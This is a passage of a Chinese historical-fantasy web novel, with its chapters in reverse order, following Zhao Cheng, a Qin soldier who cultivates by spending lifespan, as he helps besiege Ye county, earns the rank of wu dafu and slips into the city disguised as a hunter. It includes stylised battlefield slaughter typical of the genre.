可惜千防万防,家贼难防。
大脑袋和脖子粗就这样领着赵诚三人到了狼牙峪口的关隘,关隘守军本想拦下盘查一番,大脑袋扛着獐子摆手道。
“自己人自己人,城里的猎户和樵夫。”
守卒看了看大脑袋肩膀上的獐子,又看向赵诚肩上木矛挑着得野兔,还是坚持道,“不行,必须得查查。”
“我看看那兔子,里面是不是藏了兵器?”
粗脖子提着两大捆柴,说道,“有什么好查的,快来,我去叫徐大人,咱们烤獐子吃。”
守卒听这话也放松了,注意力都被獐子吸引,任由赵诚三人入城。
然而赵诚走出没几步,大脑袋突然叫住他,“那个猎户!站住!”
冯全和封若顿时浑身紧绷。
赵诚则是回过头来,“怎么了?”
大脑袋说道,“你烤的肉好吃,留下来先烤个獐子再走。”
卧槽?
赵诚十分无语,背后打了个手势让封若二人先行入城,自己则是朝着守军隘口走去。
冯全和封若异常紧张。
这若是认真盘查还可能过不去,去人家营地里面烤獐子,与军官面对面之下,和刀尖上跳舞有什么区别,一旦被发现破绽,那不正好羊入虎口?
他俩内心焦急,但只能眼睁睁看着赵诚踏入营地,毫无办法。
营地之中。
脖子粗去往营中百将处,说捕获了一只獐子献给他,百将大悦,行至营中。
见赵诚动作娴熟利落,将獐子处理得异常干净,满意地点了点头。
“你这手法不错,是北市的猎户?”
赵诚面色不变,淡笑如常,“大人说笑了,咱们城里哪有北市?我是东市的,家就在东市南边不远。”
幸好他之前在大脑袋那套出了许多城中信息,不然这一句就要露馅!
百将点了点头,“口误了,平常打猎回来,晚上处理干净后,都去东市贩卖?”
赵诚还是淡笑如常,“大人平常都是让下人帮忙采买吧,东市是朝市,晚上不开。
一般都是晚上处理好,早上出去卖一些换米,我上山也不是经常有收获,偶尔收获多些,自家才能吃上一点。”
百将笑得柔和了一些,目光在赵诚偶然露出的臂膀上划过,见其没有什么刀剑伤疤,已经去了疑心。
此人虽生得高大,却不像是兵伍中人,应该是常年打猎吃肉,才有如此身材。
此时,獐子已经烤得外焦里嫩,滋滋冒油,香气扑鼻而来。
百将也是食指大动,又看了看一旁的野兔,“那兔子怎么不烤?”
赵诚为难道,“大人,家里没米了,家中老父老母和幼妹,还等着吃饭,这兔子是要拿去换口粮救命的……”
百将不为所动,“一并烤了,明日你再去打猎就是。”
赵诚心痛不已,开始想杀人了。
这营地一百来号人,也不够他杀的。
只是杀了未免打草惊蛇,接下来的行动就没有那么舒服了。
城中数万守军,没有大军配合,三天三夜也未必杀得完,麻烦得很。
念头转动间,赵诚还是没动手,咬着牙把野兔处理了。
该死的,打了两只野兔,就吃了个兔腿!
此城拿下,老子第一个烤了你这百将。
第26章 断水之计,深山中伏
察觉到蒙恬的目光狐疑。
蒙武也细看赵诚,不由得有些无语。
这小子怎么好像又长高了一些,看着也更加英武了。
他之前不是种地的吗,怎么气质如此不凡?
怪哉!
蒙武狐疑间,也是说道,“说是樵夫确实不太像,但要说是猎户倒也符合。”
“赵诚,你可熟悉打猎一事?”
赵诚咧嘴一笑,露出一排整齐白牙,“熟悉的很。”
“前些年靠种地吃不饱肚子,全靠上山打猎,搞些野货来补充油水,对这事熟悉得很。”
蒙武满意点头,“甚好!”
赵诚已经是迫不及待,“将军,何时乔装潜入?”
孤身入城,到处都是敌军,只要机会适宜,想怎么杀就怎么杀,可以疯狂制造混乱。
以他现在的元气淬体程度,就算真的被敌军发现了,也有恃无恐。
蒙武摇了摇头,“不急,时机未到。”
“如今你就算潜入进去,将城门破开了,大军也很难配合你攻城。
还是要先筑坝截流,以大军压境来攻心,让敌方焦虑惶恐,你才好趁虚而入。”
赵诚一想也是,如此宽阔湍急的河流不截断,大军连过都过不去,谈何攻城。
“好,听候将军安排!”
蒙武点了点头,挥舞令旗,命令大军压上。
黑色洪流一般的秦国大军一压而上,犹如黑云压城一般兵临城下。
整个叶县守军立刻慌乱起来。
“秦军来了!!”
“快,点狼烟警示!”
“拉桥!!”
“关门,快关门!”
只见城墙之上,守军紧张行动。
烽火台狼烟滚滚,护城河上面的桥体被守军拉起。
整个叶县城在短短时间内,成了一个密不透风的铁王八。
就算以赵诚的神勇,只要他还不会飞,想要攻城就只能从湍急无比的河流中游过去。
这个过程还会不断遭到地方守军的箭射石砸。
甚至连城墙四角的巨大弩机也会不断袭击。
而普通士兵穿戴铠甲,一掉入河里,立刻就会向下沉去,片刻不到就会溺亡。
蒙武见状,却也不急,大张旗鼓地布下阵来,将攻城器械摆开,无数大军对着叶城虎视眈眈。
光是这压迫感,就足以让无数韩军紧张的口干舌燥,双腿发软。
下一刻,又有士卒举着隘口守军旗帜,将半死不活的韩明悬挂在阵前示威。
“那是,将军韩明,他竟被活捉?”
“连将军都被活捉,看来隘口大败,一万精锐守军恐怕已经全军覆没。”
“这是多少大军啊,根本看不到边际!”
“这如何是好?”
在军心动摇之际,韩军守将韩江龙行虎步走到城头之上,大喝叱骂道,“你们的胆子都让狗吃了吗!?”
“秦军刚至,就吓得腿都软了?”
“睁开你们的狗眼看看下面,咱们的护城河,咱们的城墙!
秦军就算长了翅膀,他们也飞不过来!”
“给我骂,狠狠的骂秦军!”
“谁骂的好,晚上多吃一碗饭!”
韩军之中不少人低头看了看那护城河,那宽阔湍急的护城河给了他们许多底气。
于是随着第一个人开口大骂,韩守军骂声连成一片,上万人声音齐发,声嘶力竭,气势倒是越来越强。
“尔母婢也!!”
“猪狗不如的东西,也敢来打我们叶县!把你们全家都宰了!”
“有种的你们过来啊!”
“……”
骂了一阵,韩军发现秦国大军好像也就那样。
被他们骂了也毫无办法。
更有一些年轻的秦兵被他们骂的脸色涨红,浑身发抖。
韩军士气渐渐回升,越发轻松,渐渐放肆大笑起来。
他们越来越肆无忌惮,各种污言秽语倾泻而出。
可是这种轻松持续的时间并不长。
随着蒙武令旗挥动,大股秦军离开阵地,就在他们的眼皮子地下,前往河流上游,开始筑坝截流。
如此行径,让韩军的骂声瞬间微弱下去,再次慌了起来。
“将军,咋办,他们要筑坝截流,这要任由他们截流。
用不了多久,护城河就会干涸了!”
韩军看的焦急不已,守将韩江也是眉头紧皱。
对方动作很快,方向精准,明显是在来之前,就已经勘探清楚上游狭窄处,比自己预想的要快上许多。
而且前去截流的兵力,足有近万人。
照这个进度下去,恐怕要不了几天,护城河水流就要急速下降,连取水都会变得很困难。
但是却又不敢出城阻碍对方截流,只能眼睁睁看着对方前去筑坝。
韩江感觉有点上火。
当天下午,秦军已经锁定狭窄河道位置,开始筑坝。
第二天半夜,筑坝已经完工,叶县外面的护城河水水位开始不断下降。
至第四天午时,护城河水位已经下降了一大半,有些地方甚至已经开始露出了河床。
韩江的嘴角肉眼可见的起了火泡,城墙上的韩军也是各个心急如焚。
他们现在连取水都成了困难,不得不派人去城中多处开凿更多的水井,保证供水。
但是随着护城河的水位不断下降,水井之中的水也是越来越少,开凿水井的深度要求更高,取水愈发困难。
韩江知道不能这样下去了,不然守军迟早渴死。
于是当天夜里,派遣三千兵力,从西门悄然出动,想要前去悄悄破坏秦军铸就的河坝。
但这三千兵力刚刚出城没有多远,赵诚已经是带着三千轻骑从两侧杀出。
应年与贺平一左一右围杀而来。
韩军立刻混乱,想要后撤突围。
而赵诚已经率领一千轻骑,飞骑切断三千敌军后方,趁着三千敌军大乱之际,径直杀入军阵!
只见他奔马向前,有若刀锋一般,一头扎了进去。
手中长剑横扫,一扫就是一片!
无穷元气在他的体内涌动,爆发出无上神力。
那些韩军在他的面前就像是纸糊的一样,轻易就能够切成两半。
两断的身躯在他的马蹄之下堆叠,飞骑向前,踏出一条血路!
一个冲势下来,韩军已经是肝胆俱裂,远远看见赵诚,就拼命向着两侧躲去,无人胆敢撄锋!
如此军心溃散之下,赵诚直直杀穿军阵。
在他身后的一千轻骑杀得那叫一个痛快,简直势不可挡,摧枯拉朽!
完全成了一面倒的屠杀。
赵诚浑身浴血,调转马头,再一次回身切入。
不过片刻,已将军阵再次杀穿。
如此杀了一个七进七出,将对方三千兵力尽皆斩杀。
“啧,才这么一点人,完全不够杀的。”
赵诚意犹未尽将剑回鞘,在其身后已经是尸山血海。
看了看系统之中,如今寿命增加到了两千五百。
这一战夺了不过七百年寿命,实在是少。
他开始期盼着潜入城中了。
赵诚回马站在阵前,下令道,“割头,将尸身全都悬挂在东门之外!让敌军看看出城的下场!”
三千轻骑立刻领命而去。
他们看向赵诚的目光,已是充满了敬仰。
多年来,哪里打过如此舒服的仗?
有赵诚为锋,军阵就和纸糊的一样。
只需要跟在赵诚身后,便是一面倒的屠杀,不费吹灰之力,无损全歼三千。
如此大胜,三千轻骑人人都有不少军功,自然乐得合不拢嘴,恨不得守军现在再送一万人出来给他们杀。
可惜,敌方也不傻,没有人再次出城。
次日一早,三千韩军的尸首就被悬挂在东门之前。
韩军见此,各个脸色苍白,气势低迷至极。
韩江更是满嘴火泡,心急如焚。
眼看护城河已经露出河床,不但城外无水,就连城中的水井也越来越难以打水出来了。
水井越凿越深,城中的守军却一个个嘴唇干裂,渴的叫苦连天。
百姓们更是人心惶惶,一个个惊恐不安,求着上山搜取水源物资。
不得已之下,韩江只能将刚刚封闭没有多久北方狼牙峪口打开,不再禁止百姓上山。
同时,许多士兵也假扮樵夫,上山采集物资,去溪流打水。
至此,困境已成。
“时机已到,赵诚,你带着一部精锐斥候潜入叶县北侧昆阳山中,伺机入城。”
“你没有做过间子,但冯全和封若都是此道好手,让他们随你一同前去,若有什么情报需要传出,他们可以帮你传递出来。”
“再留一些斥候在北山策应,若事不可为,立刻自北山撤离。”
“末将领命。”
赵诚欣喜不已,立刻回营,点了冯全封若两人,并在两人协助下,选了一部顶尖斥候出来。
死间贵精不贵多,人数越多越容易被地方发现端倪。
就算这一部,也不全都是要进城的,大部分都是要在外面策应,传递情报一类。
营帐之中,赵诚卸下盔甲,乔装打扮起来。
他穿上破旧的粗布麻衣,涂抹草木碳灰,搞的蓬头垢面,遮掩了他那英武的面容,看起来潦倒邋遢了许多。
手上再提着一把猎刀,这装束与他之前上山打猎的装束一样。
就连冯全看他一眼,也觉得他只是山里的一个猎户,只是看着比寻常猎户精壮许多。
“大人,你这装扮,别说韩军了,我都快认不出来了。”
赵诚一笑,“我本来就是猎户。
一会儿咱们去昆阳山里,打几个野兔野狼,入城也算凭证,还能补充点油水。”
冯全咧嘴笑道,“那再好不过。”
冯全和封若两人伪装成了樵夫,跟在赵诚身边,一起摸进了昆阳山。
入了山林,顿时奔行如电。
没过多久,赵诚就带着人摸进了叶县北侧的深山之中。
踏入叶县北山区域没多久,林间突然箭落如雨,直射赵诚一部。
第25章 赐爵授田,如在梦中的张余
午时三刻,怀阳村东,正在午睡的里正被锣声惊醒,带着起床气正要骂,却被外面传来的道道喝彩声压了回去。
“张余快出来,你家那小铁人封爵了,让你去县廷代领呢!”
“啥!?”
张余惊得直接跳起来了。
这就封爵了?
人还活着吗?
他鞋子都没穿好,急匆匆地往外跑去。
舅母也是一脸紧张紧随其后,皱着眉头哎呦不停,也不知道她在哎呦个什么。
来传唤的吏员见了张余,一脸艳羡尊崇,“张里正,大好事,你家外甥封爵不小!速去县廷,县令大人等着你嘞!”
张余一路向着县廷奔去,衣冠都不顾地整理,一路匆匆忙忙。
怀阳村村民哪里见过封爵,更何况是身边之人,见此状况,立刻汹涌着跟随张余去了县廷。
“我就说那孩子行!”
“那可是咱们怀阳村周围十里八乡都有名的小铁人,上了战场还不把韩军打得屁滚尿流?”
“看这阵仗,这爵封得不小啊,不会是大夫吧?”
“大夫都已经是四级爵了,要带队杀敌十来个人才能封地,小铁人才刚刚入伍没多久,最多打了一仗,封个不更都不小了!”
“是极是极,不更还要杀四个人嘞,簪袅还得杀三个,这小子够猛,没丢了咱们怀阳村的脸面!”
……
县廷前的广场上挤满了看热闹的百姓,怀阳村的村民们叽叽喳喳说的热闹。
县令站在青铜鼎前,鼎中燃烧的艾草散发着驱虫的香气。
他展开帛书,声音在广场中回荡。
“三川郡南,怀阳里民赵诚,先登破敌,斩级二百二十七人,率众斩敌五百四十人,斩副将一级,擒将一人,夺旗一面,战功著于军前……封爵五大夫。”
一时间,人群之中哗然,怀阳村民更是全都傻了,一个个面面相觑。
“什么玩意!?”
“杀了二百二十七个??不是,这是不是弄错了?”
“赐爵令都传到县令大人这来了,都是经过多处复核的,还能弄错?”
“可是我们村赵诚才刚入伍啊……”
“这小子这么能杀,杀了二百二十七个,比西山村里的人还多!”
“额地亲娘嘞,你还敢叫小子,叫五大夫!”
“先登,擒将,斩旗,杀敌二百二十七……”张余满脸恍惚,嘴里喃喃自语,兀自不敢置信。
而随着县令话音落下,一旁的田啬夫已捧着户籍简和授田图上前。
户籍简上清晰记录者:赵诚,爵五大夫,赐田二十五顷,宅邸二十五亩,隶臣二十五人。
而在羊皮制的授田图上,二十五块方正的田地用朱砂圈出,正是位于怀阳村东头的肥沃水浇地!
“赵诚无其他亲属,其舅代母抚养至今,按秦律,爵位由其舅张余代领。”
县令将一枚青铜爵符系在帛书上,连同竹简一同交给张余,“汝可持此符至田啬夫处交割田契,三日内须完成户籍变更。”
张余跪地接过,满是皱纹龟裂的糙手捧着那帛书爵符,以及户籍竹简,直到铜符那坚固沉实的触感传来,才终于感觉真实了一些。
这青铜爵符经精细打磨,符节错金,边缘钳有细细银丝,整体呈圭形,形制简约庄重。
在爵符上,印有铭文“五大夫赵诚”的字样,篆体刚劲有力。
爵符分为两半,一半要交到赵诚之手,另一半存入县廷档案库,日后赵诚返乡时需合符确认身份。
同时,这爵符也不仅是身份象征,更是签署契约、出入关隘的凭证。
张余捧着这些东西,心中震颤不已。
他缓了缓神,抬头小心询问县令,“我外甥还活着否?”
县令笑道,“自然活着。”
蒙威上前将张余扶起,也是和善道,“放心,那小子活的好着呢,立下如此大功,必得将军重用,当下怕是校尉了。”
“好,好。”
张余如在梦中,一脚深一脚浅的捧着爵符户籍向着村中走去,身后还跟着两名县卒。
等他到了村东,田啬夫早已等候在田埂边,手中拿着青铜量器,一丈一丈的丈量土地,不知过了多久,二十五顷大田全部丈量完毕。
县卒于边界立下界石,在上面刻上“五大夫赵诚田”的字样,背面则有“盗耕者斩”四字警示。
如此,这二十五顷便全都是新贵赵诚的地界,任何人胆敢侵占,都要受秦律重罚。
又没多久,二十五名隶臣也已经悉数到位。
“这些人都是官奴册上的良奴,大多都是被罪犯牵连,受连坐的亲属,亦或者是逃亡徭役的役卒,还有就是失职犯错的官吏。”
“并没有敌军俘虏或者重犯罪人被分配过来,大人可以放心驱使。”
吏员笑得很是和善。
张余连连道谢,知道这也是县里给赵诚行的方便。
宅子
……
县廷之中,县令忙着整理赐爵记录,准备将赐爵情况同步到三川郡府。
届时君府会传递公文汇报到内史府备案,赵诚的爵位会在中央与地方拥有双重档案,以此记录其战功、爵级变动、田宅位置等信息。
蒙威坐在一旁,看着军报上的信息,还沉浸在赵诚的战绩之中不能自拔。
"你说这小子,是怎么做到一个人杀敌二百多人的?"
“我哪里知晓,你不是说他箭术通神,想必是放箭杀了大部分,冲城杀了小部分吧?”
“非也,此子天生神力,我觉得还是冲阵杀敌占了大部分。”
“你又不是没有上过战场,战场上冲阵杀敌何其艰难,他就算天生神力,能先登占城,又能生擒主将,已经是极限了,哪还有余力杀那么多人?”
“要不然,咱们打个赌?”
“好,赌什么?”
“就赌一个月鹿肉吃!”
“噫!”县令想了想,觉得还是自己赢面打,于是说道,“赌了!”
蒙威大笑,将军报放到桌子上又去演武场了。
……
韩境。
数日行军,秦国大军已经兵临叶县。
赵诚一骑当先,于主力大军前方十里处登高望去。
入目所及,滍水汤汤,昆阳山脉如苍龙蜿蜒。
山脉之下,叶县城墙耸立,北临滍水,西倚昆阳,南依澧河,东傍烧车河,两河交汇处形成三角地带,既为城内提供水源,又构成东南方向的防御缓冲带。
可谓是依山而建,以水为障,城防与地利精密咬合。
再看那城墙,赵诚那想一拳打爆敌军城墙的想法,顿时有些动摇起来。
叶县城墙以夯土筑成,墙体外侧包砌石块。
下宽上窄,墙基厚实,足有七八丈(十六七米),顶部也宽有五六丈,全高三丈左右,完全不是隘口那种矮方城可以比的。
城墙四角更是设有两层角楼,内置大型弩机与滚木礌石,每隔一里还有烽火台。
在赵诚的方向,还可以看到叶城的两座高大城门,外用铁皮加固,感觉打爆这个大门,可比打爆城墙现实的多了。
“叶县已经这么厚实,名都宛城又该是什么样?”
自穿越到秦国以来,赵诚还是第一次看到布防如此厚重严密的城镇。
不过他再次观摩一会儿,也算是看明白了。
这叶县的位置,不但占据地利,易守难攻。
而且其东北方向就是大片平原,可直通宛城。
除此之外,还是通往南襄和联结中原的战略要地,就连赵诚这种外行,都能够轻易看出其中战略价值。
也难怪韩如此花费功夫打造重防。
“这么厚的乌龟壳,怪不得一路上一个敌军斥候都见不到,他们一看到秦国大军,直接关门固守就行了。”
赵诚回马奔向主力大军,来到蒙武阵前,将情况汇报。
蒙武笑着点了点头,考校道,“看了叶县城防,你有什么想法?”
赵诚想了想,“攻城不太容易,不过让我先上的话,应该会好打一点。”
多余问你。
蒙武哭笑不得,又看向蒙恬,“你呢,有何想法?”
蒙恬想了想说道,“叶县山水拱卫,除去北方依靠着陡峭山峰的一面,其他三面,且有天然护城河构成缓冲带。”
“我方想要强攻破城极难,不过可以先在上流水势平缓处筑坝截流,以此导致护城河干涸,施加压力。”
“暗处挖入墙基下方,烧其松木桩基,使城墙坍塌。”
“再断其宛城方向的粮道,围而不攻,迫使守军投降。”
蒙武满意的点了点头,“不错,不过还差了一些。”
“如此围攻,就算能拿下叶县,时间上也太慢。”
“别忘了,我们还有一位万夫莫敌的猛将。”
蒙恬有点傻眼,“这……难道真让阿诚先上,这叶城和隘口可不一样,强攻之下,损失惨重,还可能拿不下来。”
蒙武摇了摇头,“死脑筋。”
“确实要让赵诚先上,不过不是先去攻城,而是伪装成樵夫,做死间入城,伺机而动,获取情报,里应外合破开城门!”
“死间?”蒙恬眉头深皱。
死间可太危险了,乔装打扮,深入敌城,伺机而动。
一旦被发现,便是瓮中捉鳖,数万守军包围,到时候就是神仙也飞不出来。
蒙武点了点头,“别人去是死间,赵诚去却是生间。”
“你看,叶县北倚昆阳山地,山势陡峭,却有少数羊肠小道可通,对方知道大军攻不上去,北方防守必然松弛。”
“我方大军在明面上大张旗鼓筑坝截流,切断粮道,守军必然焦虑。”
“水源短缺物资匮乏,他们就更不能禁止百姓在北方出入山林,甚至还要仰仗此路补充物资。”
“不然,百姓本就恐慌,再封锁物资出入口,那就更加人心惶惶,内忧外患,叶县又能守住多久?”
蒙恬恍然,“确实如此,不过……”
他看了看赵诚,感觉这小子外形实在英武不凡,身体更是精壮高大,如今杀伐一场,已经是浑身血煞之气。
说他是樵夫?
敌军能信?
第24章 赐爵令!阳城县廷大震
营帐之中,呼吸声悠长舒缓,赵诚闭目细细感受着体内的变化
千年推演,体内已经盈满了天地元气,缓慢而细致的改造着他的筋骨血肉和五脏六腑,这种改造,让他体内每时每刻都传来舒适至极的感觉。
炼体至今,还是第一次修炼得如此舒服,欲罢不能。
至极的生命力在他体内萌发,与之前火山即将爆发的暴烈力量不同,这种生命力量是源源不绝、熠熠生辉的,平静时犹如汪洋大海,但却可在一念之间天崩地裂。
他深长的呼吸着,全身毛孔都在吞吐天地之间游离的丝丝元气。
随着他一呼一吸之间,更有许多天地元气进入体内,同时也有部分天地元气在不断地散去。
总的来说,只要是在吐纳之中,吸收存蓄的速度要比散去的速度快的多。
但若是自然呼吸,这种吸收的速度就会慢上一些。
而若是在激烈战斗之中,消耗就会远大于吸收的速度。
不过以如今身体存蓄的天地元气和吸收效率来说,按照之前的战斗强度,杀个三天三夜,倒也不是什么问题。
如此体会了一阵,赵诚决定继续推演修炼。
命都是夺来的,力量却是自己的,又不是无仗可打,炼就是了。
“估计快要淬体圆满了,先来个零头试试水,投入五百二十五年修炼基础炼体功!”
【开始投入寿命修炼基础炼体功。】
【第一年,你依然通过吐纳吸收天地元气,此时你全身内外盈满天地元气,不断的改造淬炼你的身体,血肉筋骨,五脏六腑都在不断地提升中。】
【第一百年,天地元气依然在淬炼身体,你感到自身的生命力越发强大,你的寿命再次增加五十年,你元气淬体小成!】
【第三百年,数百年元气淬体,你感觉自己的身体每一个角落都积蓄了大量元气。】
【第四百年,都被天地元气淬炼到了极致,浑身上下坚不可摧,生命力量旺盛如海,五脏六腑如同丹炉,滚滚生机不断回荡在你的身体之中,你的寿命增加二百年,元气淬体大成!】
【第五百年,你感到元气淬体似乎达到了某种极限,你的筋骨血肉,五脏六腑在淬体中不再有所精进,但是体内元气依然会不断流失,你察觉到这条路似乎已经走到尽头了……】
【第五百二十五年,淬体不再精进,元气依然流失……】
“咦?”
“到达顶峰了吗?”赵诚眉头微皱,感觉淬体并没有圆满,甚至还差的很远,“再加一百年……”
【第五百五十年,淬体不再精进,元气依然流失,你觉得这样下去不是办法,开始尝试其他修炼方式……】
【第五百六十年,你尝试将元气迅速消耗掉,然后再重新吸收吐纳积蓄,体内元气上限毫无变化,淬体停滞不前……】
【第六百年,四十年来,你尝试了站桩、打拳、停止吐纳、自残再恢复等诸多方式,都没有任何效果,你郁闷至极……】
【第六百一十五年,淬体不得寸进,你开始不顾一切的发泄,耗尽全力的出拳,体内元气随着你的力量爆发,流转在四肢百骸,在这种疯狂中,你突然察觉到自己胸腹中央的位置好像有什么东西破开了,元气流入了其中!】
【第六百一十六年,你不断探查后发现,这个部位很特殊,不属于筋骨血肉任何一种,在以前的炼体中从未感知到过,你开始研究这个部位。】
【第六百二十年,你认定这个地方就是经脉,并推断经脉和窍穴都是存蓄天地元气的重中之重,你开始尝试从拓开的经脉入手,将元气都存蓄进去!】
【第六百二十五年,你失败了,胸腹中央位置的经脉只通开了一点,无论如何都无法让更多天地元气流入……】
“经脉??”
赵诚一阵惊奇。
他细细感受着胸腹中央处,半个指甲盖大小的一处地方,那里容纳着远超其他部位数量的天地元气,甚至小臂蕴含的天地元气都没有这一小块多。
而且天地元气流入其中,流失的速度大大减缓,可能刚刚流失一些,一阵吐纳就可补足了。
“原来元气淬体的圆满之路在这里。”赵诚眼神明亮,“以我对身体的掌控,之前竟然毫无察觉,就好像不存在一般。”
他连身体之中最细小的筋膜都能清晰感知到,甚至控制到。
但直到现在他才知道有经脉这种东西,可见若不是机缘巧合,就算别人告诉他经脉在哪,也无法感知到,更无法通开,可能这辈子都卡在这里了。
“那接下来的路就好走了,开拓经脉就行了嘛,最不怕的就是水磨功夫。”
赵诚不以为意,反正还有一千九百年的寿命。
但想了想,他还是留了个心眼。
“先探探深浅吧,投入一百年寿命修炼基础炼体功。”
【开始投入寿命推演基础炼体功……】
【第一年,你不断吐纳,尝试让更多天地元气流入经脉……】
【第十年,你不断吐纳,开拓经脉,失败……】
【第三十年,开拓经脉失败……】
【第五十年,开拓经脉失败……】
【第七十年,你尝试以之前全力出拳的方式开拓经脉,无效……】
【第九十年,开拓经脉失败,这玩意好像根本通不开……】
【第一百年,在你坚持不懈之下,经脉被通开了一丝丝,若有若无,微不可查,但你多年尝试,早已对其了如指掌,十分确定此处经脉有所扩张!】
赵诚惊呆了,“这是个无底洞啊。”
一百年,只通开一丝,照这个进度,投入几万年也就能通开指头那么长,想要通开关键部位,还不知道要猴年马月。
“嘶,怎会如此?”
“我之前的路走歪了?”
“难道应该先通开经脉,再以经脉流转元气,淬炼体魄?”
赵诚越想越觉得,这个逻辑是对的,但之前的他,连经脉在哪都感知不到,谈何通开?
他百思不得其解,总觉得有什么东西是被自己忽略了。
赵诚盘膝坐着,摸着下巴沉思……
赵诚站起身来,绕着营帐踱步沉思……
赵诚走出营帐,看着天上的月亮沉思……
如此苦思半夜,直至月上中天,赵诚突然灵机一动,神色变得极其凝重!
“难道说……我根骨不行?”
“武侠小说中,不都说要武功高绝就必须打通任督二脉,道家修炼丹功,也讲究打通任督二脉……”
“而这两者有个共同之处,那就是都需要根骨上佳,才能修炼……”
“我不能修炼,那就是……”
“根骨太差!?”
想通此节,赵诚昂首望月,怅然无语。
惆怅啊。
萧索啊。
我都修炼到元气淬体大成了,你告诉我根骨不行?
老子一直以为是基础炼体功太基础了,才炼得这么慢!!
“尔母婢也!”赵诚骂了一声,转身回了营帐,“攒命买洗髓丹吧,靠命堆肯定是填不满了……”
……
第二日。
秦国大军自隘口开拔,前往叶县方向。
方城隘口至叶县,行军需绕行昆阳山地与滍水河谷,路径长度达到八十到一百公里。
经山地与滍水支流,路况复杂,常规行军需要四天才能抵达叶县。
大军清晨出发,午间休整,傍晚扎营,夜间戒备。
赵诚作为突骑都尉,带着蒙恬一部上千精骑在大军前方十余里处探查开路,让他感到遗憾的是,一路上也没有遇到什么敌人。
“没有仗打的日子真是平淡如水。”
赵诚如此感慨着……
在他平淡如水的时候,阳城县外,有马蹄声急响。
一飞骑传卒腰悬赐爵令奔入城中,直奔县廷!
“报!军中传赐爵令!”
入了县廷,传卒翻身下马,蒙威已是满脸喜色走出门廊。
传卒从腰间皮囊中取出军报和赐爵令,呈给县尉蒙威,“县尉大人,这是将军传来赐爵令,附有军报。”
蒙威脸色惊喜接过赐爵令,他已有所猜测,“不知是不是这小子,这未免也太快了些,才几日,赐爵令都传回来了。”
他接过帛书,脸色突然大变,“五大夫!?”
这赐爵令以三尺白帛为底,边缘以茜草染成朱红色,这是五大夫爵级的规格!
要不是看到赐爵令上的泥封军印,他都以为这赐爵令是假的了!
“这……”
蒙威面色立刻急切起来。
一战而成五大夫,若非重大战事,便是极大军功,无论是哪个,都极为凶险!
“快报与县令大人!”
他拎着赐爵令也向县令所在疾步而去。
县令王远正在后堂核对军粮账册,听闻急报,立即整冠迎出。
当他拆开竹筒,看到帛书上“五大夫”三个朱砂大字时,眼角不禁一跳。
县令与蒙威对视一眼,下手拆开首尾泥封,凝重的展开帛书,两人脑袋凑到一起,瞪大眼睛看去。
帛书上以小篆写着:
三川郡突骑锐士赵诚,于秦王政十六年,攻韩方城隘口一役。
率二百突骑精锐先登破城,斩敌二百二十七人,率众斩敌五百四十人,斩副将一级,擒将一人,夺旗一面。
按《军爵律》赐爵五大夫,食邑三百户,授田二十五顷,宅二十五,庶从二十五人,岁俸四百五十石,免全家徭役。
蒙威浑身一震,把县令王远也吓了一跳。
“你抖什么!?”
“你没抖?”
“我是被你吓得!”
“那你拿稳一点!”
“少废话!”王远不理蒙威,立刻转身对县丞道,“速传怀阳村里正张余!”
“还有,派人去田啬夫处取户籍简和授田图。”
根据《行书律》,赐爵令必须在三日内完成授受,否则主官将受笞刑。
当然,就算没有行书律,王远也打算尽快弄完授爵一事。
开玩笑,那小子是他看着入伍的,刚过十六岁,离开县廷连半月都不到,就成五大夫了!
一跃八级爵!
再看那战绩。
先登破城!
斩敌擒将!
一战杀敌二百有余,敌阵之中生擒主将!
这平步青云之势,他哪敢怠慢?
第23章 杀人剑法,元气淬体
“哈哈哈好了。”
蒙恬拍了拍赵诚肩膀,“以你的勇力,不收力的话,我一剑都抵不住,此等剑法于你无用,你还是走自己一剑封喉的路子,摸索杀人剑术。”
“我刚才看你演练,已经颇具雏形,只要再战上几场,便可自成一派。”
赵诚点了点头,“我也如此觉得。”
他心中暗想,明日奔赴叶县,定要将杀人剑法杀入门。
两人又闲聊几句,蒙恬才说道,“我此来是要帮你熟悉一下下属,你如今是突骑都尉,领三千轻骑,麾下有三名校尉,一人是我,一人是贺平,另外一人叫做应年,他们两人现在正等候在外面。”
“让他们进来吧。”
贺平与应年踏入营帐,朝着赵诚肃拜,“都尉大人。”
贺平之前已经与赵诚见过,对其有了几分了解,如今自是十分敬佩。
应年却只听过传闻,虽知军功不会作假,但传闻听起来实在夸张,难免有些犹疑,此时正打量着赵诚。
见其鹰视狼顾之间,血煞之气有若锋芒不时勃发,不由得暗暗心惊。
军伍之中的猛士他见得多了,若不是亲手屠戮过上百人,哪来如此血煞之气。
至此,他对于军中传闻,已经信了八成。
赵诚对于应年的打量倒也不以为意,与两人交谈一番,算是熟悉了。
各自散去之后,赵诚看着系统之中三千六百多年的寿命,决定继续推演修炼基础炼体功。
这一次时间充裕,他也并不着急,决定一百年一百年的修炼,随进度不断调整。
“投入一百年寿命修炼基础炼体功。”
【开始投入寿命修炼基础炼体功。】
【第一年,你炼皮进度已经大成,通过皮肤呼吸,感受到了天地之间存在着某种气机,好似传说中的天地元气,你感到异常玄妙,想要抓住这种气机……】
【第十年,你在不断地尝试中,偶尔可以抓住那一丝若隐若现的元气,将其吸收进入体内,你感到随着这种元气融入体内,你蕴含元气的身体部位强度陡升,但是用不了多久,那种感觉就消失了,你为之感到不解。】
【第三十年,通过不断地尝试,你终于可以时不时的吸收天地元气,你的身体之中好似蕴含了一种远超气血强度的能量,但是它消耗的也很快,随着皮肤的呼吸不断吸收,却也在不断消失。】
【第七十年,你锲而不舍的不断吸收元气,元气也锲而不舍得离你而去,但在这个过程之中,你渐渐发现你的皮肤之下,有着一些细微的角落被元气洗练,变得越发坚韧。】
【第九十年,你坚持不懈的通过元气洗练进行炼皮,许多气血炼不到的瑕疵之处被元气洗练至完美,你的皮肤越发圆融无缺。】
【第一百年,你发现元气的妙用无穷,却还是没有办法留在体内,好在锲而不舍的元气炼皮,让你逐渐熟悉了这种感觉,每一次全身呼吸时,能够吸进更多的天地元气,你的恢复能力大幅增加,你的体力大幅增加,你突破炼皮大关,踏入元气淬体之境!】
随着推演结束,赵诚浑身上下的皮肤下面,顿时传来一阵麻痒。
他全身上下的毛孔迅速张开,随着呼吸,一丝一丝说不清道不明的气机反复穿梭流淌,而后带走了某些迟滞阻碍一般的东西。
那是天地元气随着呼吸进入他的身体之中,快速恢复着赵诚身体上面的伤势。
此时他感觉整个身体越发轻盈,每一次呼吸都好似从虚空之中,榨取出无穷无尽的力量。
当他深吸一口气,将那一丝天地元气存留体内,可以爆发出之前近两倍的力量。
不过爆发之后,那丝元气就消耗掉了。
“这就是天地元气?”
